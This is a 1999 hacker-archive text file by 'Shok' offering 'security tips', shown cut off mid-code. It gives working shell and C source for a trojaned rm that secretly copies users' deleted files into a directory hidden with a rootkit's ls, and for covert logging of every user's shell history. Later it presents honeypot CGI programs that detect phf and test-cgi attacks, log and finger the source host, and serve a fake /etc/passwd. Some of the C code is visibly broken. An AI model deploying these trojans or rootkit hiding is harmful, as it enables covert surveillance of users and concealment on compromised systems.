home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack99 / security-tools.txt < prev    next >
Encoding:
Text File  |  1999-04-11  |  28.5 KB  |  1,005 lines

  1.                    Security and Monitoring Tools
  2.                    -----------------------------
  3.             Shok (Matt Conover)
  4.               shok@dataforce.net, shok@sekurity.org
  5.     
  6. What I plan for this to be, is some various utilities that you might think
  7. as of use and what not. This is mainly a few security tips that I like to
  8. use.
  9.  
  10. First off, edit your /etc/profile, and add the line:
  11. export HISTFILE=/tmp/hist/`whoami`
  12.  
  13. and then do:
  14. mkdir /tmp/hist;chmud 1777 /tmp/hist
  15.  
  16. You now want to hide that file, so the users don't see the dir (it can be
  17. seen with set but not too many people check :) and you hide it with the
  18. rootkit's ls.
  19.  
  20. Another few things I like to do.
  21. I made a trojaned 'rm' that basically calls /bin/rm.bak which is hidden
  22. (via rootkit ls), and it copies the file they are trying to delete to
  23. /tmp/fill (which is also hidden via rootkit ls). 
  24. There are two versions of this....I wrote the first one in shell script,
  25. but do to the fact it has to be a+r, I wrote it in C afterwords. Here is
  26. the rm.sh:
  27.  
  28. #!/bin/sh
  29. # rm trojan, stores files in a temp directory, that is +tw, but go-r
  30. # the directory this writes to should be hidden with a trojaned ls
  31. # (via rootkit)
  32. # this is just an example...USE rm.c ;)
  33.  
  34. if [ $# > 1 ] 
  35. then
  36.  
  37. case $1 in
  38. -i)
  39.   shift
  40.   cp -f $* /tmp/fill &>/dev/null
  41.   doexec /bin/rm.bak rm -i $*
  42.   ;;
  43.  
  44. --interactive)
  45.   shift
  46.   cp -f $* /tmp/fill &>/dev/null
  47.   doexec /bin/rm.bak rm -i $* 
  48.   ;;
  49.  
  50.  
  51. -f)
  52.   shift
  53.   cp -f $* /tmp/fill &>/dev/null
  54.   /bin/rm.bak -f $*
  55.   ;; 
  56.  
  57. --force)
  58.   shift
  59.   cp -f $* /tmp/fill &>/dev/null
  60.   /bin/rm.bak -f $* 
  61.   ;;
  62.  
  63.  
  64. -d)
  65.   shift
  66.   cp $1/* /tmp/fill &>/dev/null
  67.   doexec /bin/rm.bak rm -d $*
  68.   ;; 
  69.  
  70. --directory)
  71.   shift
  72.   cp $1/* /tmp/fill &>/dev/null
  73.   doexec /bin/rm.bak rm -d $* 
  74.   ;;
  75.  
  76.  
  77. -v)
  78.   shift
  79.   cp -f $* /tmp/fill &>/dev/null
  80.   /bin/rm.bak -v $*
  81.   ;;
  82.  
  83. --verbose)
  84.   shift
  85.   cp -f $* /tmp/fill &>/dev/null
  86.   /bin/rm.bak -v $* 
  87.   ;;
  88.  
  89.  
  90. -r)
  91.   shift
  92.   cp -f $1/* /tmp/fill &>/dev/null
  93.   doexec /bin/rm.bak -R $*
  94.   ;; 
  95.  
  96. -R)
  97.   shift
  98.   cp -f $1/* /tmp/fill &>/dev/null
  99.   doexec /bin/rm.bak rm -R $*
  100.   ;; 
  101.  
  102. --recursive)
  103.   shift
  104.   cp -f $1/* /tmp/fill &>/dev/null
  105.   doexec /bin/rm.bak rm -R $* 
  106.   ;;
  107.  
  108.  
  109. -ri)
  110.   shift
  111.   cp -f $1/* /tmp/fill &>/dev/null
  112.   /bin/rm.bak -ri $*
  113.   ;;
  114.  
  115. -Ri)
  116.   shift
  117.   cp -f $1/* /tmp/fill &>/dev/null
  118.   doexec /bin/rm.bak rm -ri $*
  119.   ;;
  120.  
  121.  
  122. -rf)
  123.   shift
  124.   cp -f $1/* /tmp/fill &>/dev/null
  125.   cp -f $1 /tmp/fill &>/dev/null  
  126.   /bin/rm.bak -rf $*
  127.   ;;
  128.  
  129. -Rf)
  130.   shift
  131.   cp -f $1/* /tmp/fill &>/dev/null
  132.   cp -f $1 /tmp/fill &>/dev/null
  133.   /bin/rm.bak -rf $*
  134.   ;;
  135.  
  136.  
  137. -rd)
  138.   shift
  139.   cp -f $1/* /tmp/fill &>/dev/null
  140.   doexec /bin/rm.bak rm -rd $*
  141.   ;;
  142.  
  143. -Rd)
  144.   shift
  145.   cp -f $1/* /tmp/fill &>/dev/null
  146.   doexec /bin/rm.bak rm -rd $*
  147.   ;;
  148.  
  149.  
  150. -Rv)
  151.   shift
  152.   cp -f $1/* /tmp/fill &>/dev/null
  153.   doexec /bin/rm.bak rm -rv $*
  154.   ;;
  155.  
  156. -rv)
  157.   shift
  158.   cp -f $1/* /tmp/fill &>/dev/null
  159.   doexec /bin/rm.bak rm -rv $*
  160.   ;;
  161.  
  162.  
  163. -fv)
  164.   shift
  165.   cp -f $1 /tmp/fill &>/dev/null
  166.   /bin/rm.bak -fv $*
  167.   ;;
  168.  
  169.  
  170. -Rfv)
  171.   shift
  172.   cp -f $1/* /tmp/fill &>/dev/null
  173.   cp -f $1   /tmp/fill &>/dev/null
  174.   /bin/rm.bak -rfv $*
  175.   ;;
  176.  
  177. -rfv)
  178.   shift
  179.   cp -f $1/* /tmp/fill &>/dev/null
  180.   cp -f $1   /tmp/fill &>/dev/null
  181.   /bin/rm.bak -rfv $*
  182.   ;;
  183.  
  184. *)
  185.   cp -f $* /tmp/fill &>/dev/null
  186.   /bin/rm.bak $*
  187.   ;;
  188. esac
  189.  
  190. else
  191.   IT = $1
  192.   cp -f $IT /tmp/fill
  193.   /bin/rm.bak $IT
  194.  
  195. fi
  196.  
  197. If you do not have the program doexec, write it like this:
  198.  
  199. #include <stdio.h>
  200. #include <unistd.h>
  201.  
  202. void main(int argc, char **argv)
  203. {
  204.   execl(argv[1], argv[2], argv[3], argv[4], (char *)NULL);
  205. }
  206.  
  207.  
  208. Now for rm.c:
  209.  
  210. /* ------------------------------------------------------ */
  211. /* rm.c -- rm "trojan" by Shok (Matt Conover)             */
  212. /* ------------------------------------------------------ */
  213. /* Email: shok@dataforce.net, shok@sekurity.org          */
  214.  
  215.  
  216. #include <sys/stat.h>
  217. #include <string.h>
  218. #include <stdio.h>
  219. #include <stdlib.h> 
  220. #include <unistd.h>
  221.  
  222.  
  223. void main(int argc, char **argv)
  224. {
  225.   int i, c;
  226.   int recursive, verbose, force, interactive;
  227.  
  228.   if (argc > 2) {
  229.         while((c = getopt (argc, argv, "Rrifv:")) != -1)
  230.         switch (c)
  231.         {
  232.             case 'R': 
  233.             case 'r':
  234.                 recursive = 1;
  235.                 break;
  236.             case 'i':
  237.                 interactive = 1;
  238.                 break;
  239.             case 'f':
  240.                 force = 1;
  241.                 break;
  242.             case 'v':
  243.                 verbose = 1;
  244.                 break;
  245.             case '?':
  246.                 exit(1);
  247.             default:
  248.                 break;
  249.         }
  250.   } else if (argc == 2) {
  251.         setenv("PROGRAM", argv[1], 1);
  252.         system("cp -f $PROGRAM /tmp/fill &>/dev/null");  
  253.         execl("/bin/rm.bak", "rm", argv[1], NULL);
  254.         unsetenv("PROGRAM");
  255.         exit(0);
  256.   } else {
  257.      exit(0);
  258.   }
  259.  
  260.  
  261.   if ((interactive == 1) && (verbose != 1) && (force != 1) && (recursive != 1)) goto interactive;
  262.   if ((force == 1) && (verbose != 1) && (interactive != 1) && (recursive != 1)) goto force;
  263.   if ((verbose == 1) && (interactive != 1) && (force != 1) && (recursive != 1)) goto verbose;
  264.   if ((recursive == 1) && (verbose != 1) && (force != 1) && (interactive != 1)) goto recursive;
  265.  
  266.   if ((recursive == 1) && (force == 1) && (interactive != 1) && (verbose != 1)) goto rf;
  267.   if ((recursive == 1) && (force != 1) && (interactive == 1) && (verbose != 1)) goto ri;
  268.   if ((recursive == 1) && (force != 1) && (interactive != 1) && (verbose == 1)) goto rv;  
  269.   if ((recursive == 1) && (force == 1) && (interactive != 1) && (verbose == 1)) goto rfv;
  270.  
  271.   fprintf(stderr, "Unknown error.\n");
  272.   exit(1);
  273.  
  274. interactive:
  275.  
  276.   for (i = 2; i < argc; i++) {
  277.      setenv("PROGRAM", argv[i], 2);
  278.      system("cp -f $PROGRAM/* /tmp/fill &>/dev/null");
  279.      unsetenv("PROGRAM");
  280.      execl("/bin/rm.bak","rm","-i",argv[2],NULL);
  281.   }
  282.  
  283.   exit(0);
  284.   
  285. force:
  286.  
  287.   for (i = 2; i < argc; i++) {
  288.      setenv("PROGRAM", argv[i], 2);
  289.      system("cp -f $PROGRAM/* /tmp/fill &>/dev/null");
  290.      unsetenv("PROGRAM");
  291.      execl("/bin/rm.bak","rm","-f",argv[2],NULL);
  292.   }
  293.  
  294.   exit(0);
  295.  
  296. verbose:
  297.   for (i = 2; i < argc; i++)   {
  298.      setenv("PROGRAM", argv[i], 2);
  299.      system("cp -f $PROGRAM/* /tmp/fill &>/dev/null");
  300.      unsetenv("PROGRAM");
  301.      execl("/bin/rm.bak","rm","-v",argv[2],NULL);
  302.   }
  303.  
  304.   exit(0);
  305.  
  306. recursive:
  307.   for (i = 2; i < argc; i++) {
  308.      setenv("PROGRAM", argv[i], 2);
  309.      system("cp -f $PROGRAM/* /tmp/fill &>/dev/null");
  310.      unsetenv("PROGRAM");
  311.      execl("/bin/rm.bak","rm","-r",argv[2],NULL);
  312.   }
  313.  
  314.   exit(0);
  315.  
  316. rf:
  317.   for (i = 2; i < argc; i++) {
  318.      setenv("PROGRAM", argv[i], 2);
  319.      system("cp -f $PROGRAM/* /tmp/fill &>/dev/null");
  320.      unsetenv("PROGRAM");
  321.      execl("/bin/rm.bak","rm","-rf",argv[2],NULL);
  322.   } 
  323.  
  324.   exit(0);
  325.  
  326. ri:
  327.   for (i = 2;i < argc; i++) {
  328.      setenv("PROGRAM", argv[i], 2);
  329.      system("cp -f $PROGRAM/* /tmp/fill &>/dev/null");
  330.      unsetenv("PROGRAM");
  331.      execl("/bin/rm.bak","rm","-ri",argv[2],NULL);
  332.   }
  333.  
  334.   exit(0);
  335.  
  336. rv:
  337.   for (i = 2; i < argc; i++) {
  338.      setenv("PROGRAM", argv[i], 2);
  339.      system("cp -f $PROGRAM/* /tmp/fill &>/dev/null");
  340.      unsetenv("PROGRAM");
  341.      execl("/bin/rm.bak","rm","-rv",argv[2],NULL);
  342.   }
  343.  
  344.   exit(0);
  345.  
  346. rfv:
  347.  
  348.   for (i = 2; i <argc; i++) {
  349.      setenv("PROGRAM", argv[i], 2);
  350.      system("cp -f $PROGRAM/* /tmp/fill &>/dev/null");
  351.      unsetenv("PROGRAM");
  352.      execl("/bin/rm.bak","rm","-rfv",argv[2],NULL);
  353.   }
  354.  
  355.   exit(0);
  356. }
  357.  
  358. This program can of course be improved, especially replacing the strcmp's
  359. with getopt() but I could care less....
  360.  
  361. Now when ever a user deletes something it will first be copied to
  362. /tmp/fill before it's deleted.
  363.  
  364. Now, even though it's logged to /var/log/httpd/access_log, I'd like to
  365. know right away when someone tries to use the phf or test-cgi
  366. vulnerabilities on me. So I replaced the phf and test-cgi programs in my
  367. /cgi-bin/ with this. The first will get the info on who it is, then it
  368. will send a fake passwd file. This can be improved of course but I don't
  369. care to take the time. 
  370.  
  371. phf.c:
  372.  
  373. /* w00w00! */
  374. /* phf trojan                                 */
  375. /* -------------------------------------------------------------------- */
  376. /* Just a little utility to log information about who is exploiting us. */
  377. /* Will mail it to root of local host, with the IP address, the web     */
  378. /* browser, the query string, etc. It will then return a fake password  */
  379. /* below which can be modified.                                         */
  380. /*                                    */
  381. /* Shok (Matt Conover)                            */
  382. /* shok@dataforce.net, shok@sekurity.org                                */
  383.  
  384. #include <stdio.h>
  385. #include <fcntl.h>
  386. #include <unistd.h>
  387. #include <stdlib.h>
  388. #include <string.h>
  389. #include <syslog.h>
  390. #include <sys/stat.h>
  391. #include <sys/types.h>
  392.  
  393.  
  394. /* List of defines */
  395. #define ERROR -1
  396.  
  397. #define IP "206.71.69.243" /* Set this to your IP address. */
  398.  
  399. #define ADMIN "root" /* Set this to the user (or address) of the person    */
  400.                      /* to get phf attempts.                               */
  401.  
  402. #define FINGERPROG "/usr/bin/finger" /* Set to path of 'finger'.           */
  403. #define MAILPROG   "/bin/mail"       /* This does have to be the 'mail'    */
  404.                                      /* program but this is to specify the */
  405.                                      /* path.                              */
  406.  
  407. /* This returns a '404 File Not Found' to the client. */
  408. #define PRNSERVERR() printf("Content-type: text/html\n\n");                \
  409.           printf("<HTML><HEAD>\n");                                        \
  410.           printf("<TITLE>404 File Not Found</TITLE>\n");                   \
  411.           printf("</HEAD><BODY>\n");                                       \
  412.                                                                            \
  413.           printf("<H1>File Not Found</H1>\n");                             \
  414.           printf("The requested URL was not found on this server.<P>\n");  \
  415.                                                                            \
  416.           printf("</BODY></HTML>\n");                                      \
  417.                                                                            \
  418.           fflush(stdin), fflush(stdout), fflush(stderr);                  
  419.  
  420. /* Free up our structures before exiting. */
  421. #define FREEALL() free(buf), free(cmdarg), free(address);
  422. /* ------------------ */
  423.  
  424. void main()
  425.   FILE *tmpfile, *fingerinfo;
  426.  
  427.   int pid;
  428.   int fd[2];
  429.   register int errors = 0;
  430.  
  431.   char *buf     = malloc(4096);
  432.   char *cmdarg  = malloc(512);
  433.   char *address = malloc(256);
  434.  
  435.   char *host         = getenv("REMOTE_HOST");
  436.   char *addr         = getenv("REMOTE_ADDR");
  437.   char *browser      = getenv("HTTP_USER_AGENT");
  438.   char *query_string = getenv("QUERY_STRING"); 
  439.  
  440.  
  441.   /* We check each malloc seperately so we can free */ 
  442.   /* any previously malloc()'d buffers.             */
  443.   if (buf == NULL) {
  444.      perror("malloc");
  445.      PRNSERVERR();
  446.      exit(ERROR);
  447.   } else memset(buf, 0, sizeof(buf));
  448.  
  449.   if (cmdarg == NULL) {
  450.      perror("malloc");
  451.      PRNSERVERR();
  452.      free(buf);
  453.      exit(ERROR);
  454.   } else memset(cmdarg, 0, sizeof(cmdarg));
  455.  
  456.   if (address == NULL) {
  457.      perror("malloc");
  458.      PRNSERVERR();
  459.      free(buf), free(cmdarg);
  460.      exit(ERROR);
  461.   } else memset(address, 0, sizeof(address));
  462.   /* ----------------------------- */
  463.  
  464.  
  465.   if (pipe(fd) == ERROR) {
  466.      perror("pipe");
  467.      PRNSERVERR();
  468.      FREEALL();
  469.      exit(ERROR);
  470.   }
  471.  
  472.   bzero(buf, sizeof(buf));
  473.  
  474.   if ((pid = fork()) == ERROR) {
  475.  
  476.      openlog("phf", LOG_PID, LOG_USER);
  477.      syslog(LOG_ERR, "Unable to fork().");
  478.      closelog();
  479.  
  480.      PRNSERVERR();
  481.      FREEALL();
  482.      exit(ERROR);
  483.   }
  484.  
  485.   if (pid == 0) {
  486.      close(fileno(stdout)), close(fileno(stderr)), close(fd[0]);
  487.      dup2(fd[1], fileno(stdout)); /* Send all output to the pipe's output. */
  488.      dup2(fd[1], fileno(stderr)); /* Send all errors to the pipe.          */
  489.  
  490.      sprintf(address, "@%.*s", 256 - 1, host); 
  491.  
  492.      /* Log information. */
  493.      printf("The following person used phf!!\n\n");
  494.      printf("\tHost: %s\n", host);
  495.      printf("\tAddress: %s\n", addr);
  496.      printf("\tBrowser type: %s\n", browser);
  497.      printf("\tQuery String (i.e. command entered): %s\n\n", query_string); 
  498.  
  499.      printf("Information collected from fingering host (if any):\n");
  500.      printf("---------------------------------------------------\n\n"); 
  501.      fflush(stdout);
  502.  
  503.      if ((strcmp(addr, IP) != 0) && (strcmp(addr, "127.0.0.1") != 0)) 
  504.         execl(FINGERPROG, "finger", address, (char *)NULL);
  505.      else
  506.         printf("[from the localhost (%s)]\n", IP);
  507.  
  508.      printf(".\n"); /* Terminate 'mail'. */
  509.     /* --------------- */
  510.  
  511.      FREEALL();
  512.      exit(0);
  513.   } else { 
  514.  
  515.      close(fileno(stdin)), close(fileno(stderr)), close(fd[1]);
  516.      dup2(fd[0], fileno(stdin)); /* Send all input to the pipe's input. */
  517.      dup2(fd[1], fileno(stderr)); /* Send all errors to the pipe.          */
  518.  
  519.      wait(NULL); /* Wait for child to completely finish before starting. */
  520.  
  521.      /* Setup the subject to send to mail. */
  522.      sprintf(cmdarg, "-s \"PHF ATTEMPT FROM %.*s!\"", 
  523.              sizeof(cmdarg) - 19, host);
  524.  
  525.      /* fork() another child to execute the mail program. */
  526.      if ((pid = fork()) == ERROR) {
  527.         perror("fork");
  528.         PRNSERVERR();
  529.         FREEALL();
  530.         exit(ERROR);
  531.     }
  532.  
  533.     if (pid == 0) execl(MAILPROG, "mail", cmdarg, ADMIN, (char *)NULL);
  534.   }
  535.  
  536.   /* Send a fake password file.. if there is a "cat" and "/etc/passwd" */
  537.   /* in the QUERY_STRING. Otherwise report file not found (this can    */
  538.   /* cause problems if they first send a cat /etc/passwd and then send */
  539.   /* an xterm request for example.                                     */
  540.  
  541.   if (strstr(query_string, "cat") && strstr(query_string, "/etc/passwd")) {
  542.      printf("Content-type: text/html\n\n");
  543.      printf("<HTML><HEAD>\n");
  544.      printf("<TITLE>Query Results</TITLE>\n");
  545.      printf("<H1>Query Results</H1>\n"); 
  546.      printf("</HEAD><BODY>\n");
  547.  
  548.      printf("<P>\n");
  549.      printf("/usr/local/bin/ph -m  alias=x \n");
  550.      printf("cat /etc/passwd\n");
  551.      printf("<PRE>\n");
  552.      printf("root:x3DgdbFdn:0:1:Operator:/:/bin/csh\n");
  553.      printf("nobody:*:65534:65534::/:\n");
  554.      printf("daemon:*:1:1::/:\n");
  555.      printf("sys:*:2:2::/:/bin/csh\n");
  556.      printf("bin:*:3:3::/bin:\n");
  557.      printf("uucp:*:9:9::/var/spool/uucppublic:\n");
  558.      printf("news:*:6:6::/var/spool/news:/bin/csh\n");
  559.      printf("mail:*:8:8::/:\n");
  560.      printf("audit:*:11:11::/usr/sbin/audit:/bin/csh\n");
  561.      printf("slip::25:25:SLIP:/tmp:/usr/sbin/sliplogin\n");
  562.      printf("sync::1:1::/:/bin/sync\n");
  563.      printf("sysdiag:*:0:1:System Diagnostic:/usr/diag/sysdiag:/usr/diag/sysdiag/sysdiag\n");
  564.      printf("sundiag:*:0:1:System Diagnostic:/usr/diag/sundiag:/usr/diag/sundiag/sundiag\n");
  565.      printf("ftp:*:10:20:ftp:/home/ftp:/usr/bin/bash\n");
  566.      printf("www:*:50:50:World Wide Web:/home/www:/usr/bin/bash\n");
  567.      printf("pop:*:60:60:Post Office Protocol:/var/spool/pop:/usr/bin/bash\n");
  568.      printf("f33r:A23gAdcYf5:4110:100:f33r me bitch:/home/hph:/usr/local/bin/tcsh\n");
  569.      printf("john:Vf84.y4kl/:4120:18:John Preston:/usr/john:/usr/bin/bash\n");
  570.      printf("lolop:j7Hf./fdf:8900:100:LoLoP:/home/lolop:/usr/local/bin/tcsh\n");
  571.      printf("pcguest::7454:100:Guest Account:/tmp:/usr/bin/sh\n");
  572.      printf("pscoot:Em8y0pwT.5umo:8930:100:Pike Scoot:/home/pscoot:/usr/bin/bash\n");
  573.      printf("shok:aDrsBsefYr:666:100:Matt Conover:/home/shok:/bin/bash\n");
  574.      printf("majordomo:*:405:20:Majordomo server:/dev/null:/bin/startdomo\n");
  575.      printf("listserv:*:567:20:Listserv server:/dev/null:/bin/sh\n");
  576.      printf("jsmith:Fdd34cDfc:8940:100:Jim Smith:/home/jsmith:/usr/bin/bash\n"); 
  577.      printf("db:*:8970:100:Dieter Beule:/usr/sirius/dieter:/usr/bin/bash\n");
  578.      printf("guest:*:8999:110:Guest:/home/guest:/usr/local/bin/tcsh\n");
  579.      printf("</PRE>");
  580.  
  581.      printf("</BODY></HTML>\n");
  582.   } else {
  583.      PRNSERVERR();
  584.      FREEALL();
  585.   }
  586.  
  587.   FREEALL();
  588. }
  589.  
  590.  
  591. test-cgi.c:
  592.  
  593. /* w00w00! */
  594. /* test-cgi trojan                                                      */
  595. /* -------------------------------------------------------------------- */
  596. /* Just a little utility to log information about who is exploiting us. */
  597. /* Will mail it to root of local host, with the IP address, the web     */
  598. /* browser, the query string, etc. It will then return a File Not Found */
  599. /* error.                                */
  600. /*                                    */
  601. /* Shok (Matt Conover)                            */
  602. /* shok@dataforc.enet, shok@sekurity.org                                */
  603.  
  604. #include <stdio.h>
  605. #include <fcntl.h>
  606. #include <unistd.h>
  607. #include <stdlib.h>
  608. #include <string.h>
  609. #include <syslog.h>
  610. #include <sys/stat.h>
  611. #include <sys/types.h>
  612.  
  613. /* List of defines */
  614. #define ERROR -1
  615.  
  616. #define IP "206.71.69.243" /* Set this to your IP address. */
  617.  
  618. #define ADMIN "root" /* Set this to the user (or address) of the person    */
  619.                      /* to get phf attempts.                               */
  620.  
  621. #define FINGERPROG "/usr/bin/finger" /* Set to path of 'finger'.           */
  622. #define MAILPROG   "/bin/mail"       /* This does have to be the 'mail'    */
  623.                                      /* program but this is to specify the */
  624.                                      /* path.                              */
  625.  
  626. /* This returns a '404 File Not Found' to the client. */
  627. #define PRNSERVERR() printf("Content-type: text/html\n\n");                \
  628.           printf("<HTML><HEAD>\n");                                        \
  629.           printf("<TITLE>404 File Not Found</TITLE>\n");                   \
  630.           printf("</HEAD><BODY>\n");                                       \
  631.                                                                            \
  632.           printf("<H1>File Not Found</H1>\n");                             \
  633.           printf("The requested URL was not found on this server.<P>\n");  \
  634.                                                                            \
  635.           printf("</BODY></HTML>\n");                                      \
  636.                                                                            \
  637.           fflush(stdin), fflush(stdout), fflush(stderr);                  
  638.  
  639. /* Free up our structures before exiting. */
  640. #define FREEALL() free(buf), free(cmdarg), free(address);
  641. /* ------------------ */
  642.  
  643. void main()
  644.   FILE *tmpfile, *fingerinfo;
  645.  
  646.   int pid;
  647.   int fd[2];
  648.   register int errors = 0;
  649.  
  650.   char *buf     = malloc(4096);
  651.   char *cmdarg  = malloc(512);
  652.   char *address = malloc(256);
  653.  
  654.   char *host         = getenv("REMOTE_HOST");
  655.   char *addr         = getenv("REMOTE_ADDR");
  656.   char *browser      = getenv("HTTP_USER_AGENT");
  657.   char *query_string = getenv("QUERY_STRING"); 
  658.  
  659.  
  660.   /* We check each malloc seperately so we can free */ 
  661.   /* any previously malloc()'d buffers.             */
  662.   if (buf == NULL) {
  663.      perror("malloc");
  664.      PRNSERVERR();
  665.      exit(ERROR);
  666.   } else memset(buf, 0, sizeof(buf));
  667.  
  668.   if (cmdarg == NULL) {
  669.      perror("malloc");
  670.      PRNSERVERR();
  671.      free(buf);
  672.      exit(ERROR);
  673.   } else memset(cmdarg, 0, sizeof(cmdarg));
  674.  
  675.   if (address == NULL) {
  676.      perror("malloc");
  677.      PRNSERVERR();
  678.      free(buf), free(cmdarg);
  679.      exit(ERROR);
  680.   } else memset(address, 0, sizeof(address));
  681.   /* ----------------------------- */
  682.  
  683.  
  684.   if (pipe(fd) == ERROR) {
  685.      perror("pipe");
  686.      PRNSERVERR();
  687.      FREEALL();
  688.      exit(ERROR);
  689.   }
  690.  
  691.   bzero(buf, sizeof(buf));
  692.  
  693.   if ((pid = fork()) == ERROR) {
  694.  
  695.      openlog("test-cgi", LOG_PID, LOG_USER);
  696.      syslog(LOG_ERR, "Unable to fork().");
  697.      closelog();
  698.  
  699.      PRNSERVERR();
  700.      FREEALL();
  701.      exit(ERROR);
  702.   }
  703.  
  704.   if (pid == 0) {
  705.      close(fileno(stdout)), close(fileno(stderr)), close(fd[0]);
  706.      dup2(fd[1], fileno(stdout)); /* Send all output to the pipe's output. */
  707.      dup2(fd[1], fileno(stderr)); /* Send all errors to the pipe.          */
  708.  
  709.      sprintf(address, "@%.*s", 256 - 1, host); 
  710.  
  711.      /* Log information. */
  712.      printf("The following person used test-cgi!\n\n");
  713.      printf("\tHost: %s\n", host);
  714.      printf("\tAddress: %s\n", addr);
  715.      printf("\tBrowser type: %s\n", browser);
  716.      printf("\tQuery String (i.e. command entered): %s\n\n", query_string); 
  717.  
  718.      printf("Information collected from fingering host (if any):\n");
  719.      printf("---------------------------------------------------\n\n"); 
  720.      fflush(stdout);
  721.  
  722.      if ((strcmp(address, IP) != 0) && (strcmp(address, "127.0.0.1") != 0))
  723.         execl(FINGERPROG, "finger", address, (char *)NULL);
  724.      else
  725.         printf("[from the local host (%s)]\n", IP);
  726.  
  727.      printf(".\n"); /* Terminated 'mail'. */
  728.     /* --------------- */
  729.  
  730.      FREEALL();
  731.      exit(0);
  732.   } else { 
  733.  
  734.      close(fileno(stdin)), close(fileno(stderr)), close(fd[1]);
  735.      dup2(fd[0], fileno(stdin));  /* Send all input to the pipe's input. */
  736.      dup2(fd[1], fileno(stderr)); /* Send all errors to the pipe.        */
  737.  
  738.      wait(NULL); /* Wait for child to completely finish before starting. */
  739.  
  740.      /* Setup the subject to send to mail. */
  741.      sprintf(cmdarg, "-s \"TEST-CGI ATTEMPT FROM %.*s!\"", 
  742.              sizeof(cmdarg) - 19, host);
  743.  
  744.      /* fork() another child to execute the mail program. */
  745.      if ((pid = fork()) == ERROR) {
  746.         perror("fork");
  747.         PRNSERVERR();
  748.         FREEALL();
  749.         exit(ERROR);
  750.     }
  751.  
  752.     if (pid == 0) execl(MAILPROG, "mail", cmdarg, ADMIN, (char *)NULL);
  753.   }
  754.  
  755.   PRNSERVERR(); /* Just return 404 File Not Found. */
  756.   FREEALL();
  757. }
  758.  
  759.  
  760. Just as an added bonus here.........
  761. When someone goes to a directory you have .htaccess in, it will send 401,
  762. which is the unauthorized error code (pretty sure it's 401 but not in the
  763. mood to check). Now I editted my srm.conf (usually
  764. /usr/local/etc/httpd/conf/srm.conf), and added this line:
  765.  
  766. ErrorDocument 401    /cgi-bin/unauthorized.cgi
  767.  
  768. This is basically like the one above.......except it differs
  769. by the the 'user' part, which lets you know what user it was...this is a
  770. good way to know if there is an unauthorized attempt, and/or what user is
  771. logging into your webpage that is secured......
  772.  
  773. unauthorized.c:
  774.  
  775.  
  776. /* w00w00! */
  777. /* Unauthorized access catcher.                                         */
  778. /* -------------------------------------------------------------------- */
  779. /* Just a little utility to log information about who is unauthorized   */
  780. /* to access the web page. Will mail it to root of local host, with the */ 
  781. /* IP address, the web browser, user, ident, the query string, etc.     */
  782. /*                                    */
  783. /* Shok (Matt Conover)                            */
  784. /* shok@dataforce.net, shok@sekurity.org                */
  785.  
  786. #include <stdio.h>
  787. #include <fcntl.h>
  788. #include <unistd.h>
  789. #include <stdlib.h>
  790. #include <string.h>
  791. #include <syslog.h>
  792. #include <sys/stat.h>
  793. #include <sys/types.h>
  794.  
  795. /* List of defines */
  796. #define ERROR -1
  797.  
  798. #define ADMIN "root" /* Set this to the user (or address) of the person    */
  799.                      /* to get phf attempts.                               */
  800.  
  801. #define IP "206.71.69.243" /* Set this to your IP address. */
  802.  
  803. #define FINGERPROG "/usr/bin/finger" /* Set to path of 'finger'.           */
  804. #define MAILPROG   "/bin/mail"       /* This does have to be the 'mail'    */
  805.                                      /* program but this is to specify the */
  806.                                      /* path.                              */
  807.  
  808. /* This returns a '404 File Not Found' to the client. */
  809. #define PRNSERVERR() printf("Content-type: text/html\n\n");                \
  810.           printf("<HTML><HEAD>\n");                                        \
  811.           printf("<TITLE>404 File Not Found</TITLE>\n");                   \
  812.           printf("</HEAD><BODY>\n");                                       \
  813.                                                                            \
  814.           printf("<H1>File Not Found</H1>\n");                             \
  815.           printf("The requested URL was not found on this server.<P>\n");  \
  816.                                                                            \
  817.           printf("</BODY></HTML>\n");                                      \
  818.                                                                            \
  819.           fflush(stdin), fflush(stdout), fflush(stderr);                  
  820.  
  821. /* Free up our structures before exiting. */
  822. #define FREEALL() free(buf), free(cmdarg), free(address);
  823. /* ------------------ */
  824.  
  825. void main()
  826.   FILE *tmpfile, *fingerinfo;
  827.  
  828.   int pid;
  829.   int fd[2];
  830.   register int errors = 0;
  831.  
  832.   char *buf     = malloc(4096);
  833.   char *cmdarg  = malloc(512);
  834.   char *address = malloc(256);
  835.  
  836.   char *host         = getenv("REMOTE_HOST");
  837.   char *addr         = getenv("REMOTE_ADDR");
  838.   char *user         = getenv("REMOTE_USER");
  839.   char *ident        = getenv("REMOTE_IDENT");
  840.   char *browser      = getenv("HTTP_USER_AGENT");
  841.   char *query_string = getenv("QUERY_STRING"); 
  842.  
  843.  
  844.   /* We check each malloc seperately so we can free */ 
  845.   /* any previously malloc()'d buffers.             */
  846.   if (buf == NULL) {
  847.      perror("malloc");
  848.      PRNSERVERR();
  849.      exit(ERROR);
  850.   } else memset(buf, 0, sizeof(buf));
  851.  
  852.   if (cmdarg == NULL) {
  853.      perror("malloc");
  854.      PRNSERVERR();
  855.      free(buf);
  856.      exit(ERROR);
  857.   } else memset(cmdarg, 0, sizeof(cmdarg));
  858.  
  859.   if (address == NULL) {
  860.      perror("malloc");
  861.      PRNSERVERR();
  862.      free(buf), free(cmdarg);
  863.      exit(ERROR);
  864.   } else memset(address, 0, sizeof(address));
  865.   /* ----------------------------- */
  866.  
  867.  
  868.   if (pipe(fd) == ERROR) {
  869.      perror("pipe");
  870.      PRNSERVERR();
  871.      FREEALL();
  872.      exit(ERROR);
  873.   }
  874.  
  875.   bzero(buf, sizeof(buf));
  876.  
  877.   if ((pid = fork()) == ERROR) {
  878.  
  879.      openlog("httpd: unauthorized.cgi", LOG_PID, LOG_USER);
  880.      syslog(LOG_ERR, "Unable to fork().");
  881.      closelog();
  882.  
  883.      PRNSERVERR();
  884.      FREEALL();
  885.      exit(ERROR);
  886.   }
  887.  
  888.   if (pid == 0) {
  889.      close(fileno(stdout)), close(fileno(stderr)), close(fd[0]);
  890.      dup2(fd[1], fileno(stdout)); /* Send all output to the pipe's output. */
  891.      dup2(fd[1], fileno(stderr)); /* Send all errors to the pipe.          */
  892.  
  893.      sprintf(address, "@%.*s", 256 - 1, host); 
  894.  
  895.      /* Log information. */
  896.      printf("The following person used phf!!\n\n");
  897.      printf("\tHost: %s\n", host);
  898.      printf("\tAddress: %s\n", addr);
  899.      printf("\tUser: %s\n", user);
  900.      printf("\tIdent: %s\n", ident);
  901.      printf("\tBrowser type: %s\n", browser);
  902.      printf("\tQuery String (i.e. command entered): %s\n\n", query_string); 
  903.  
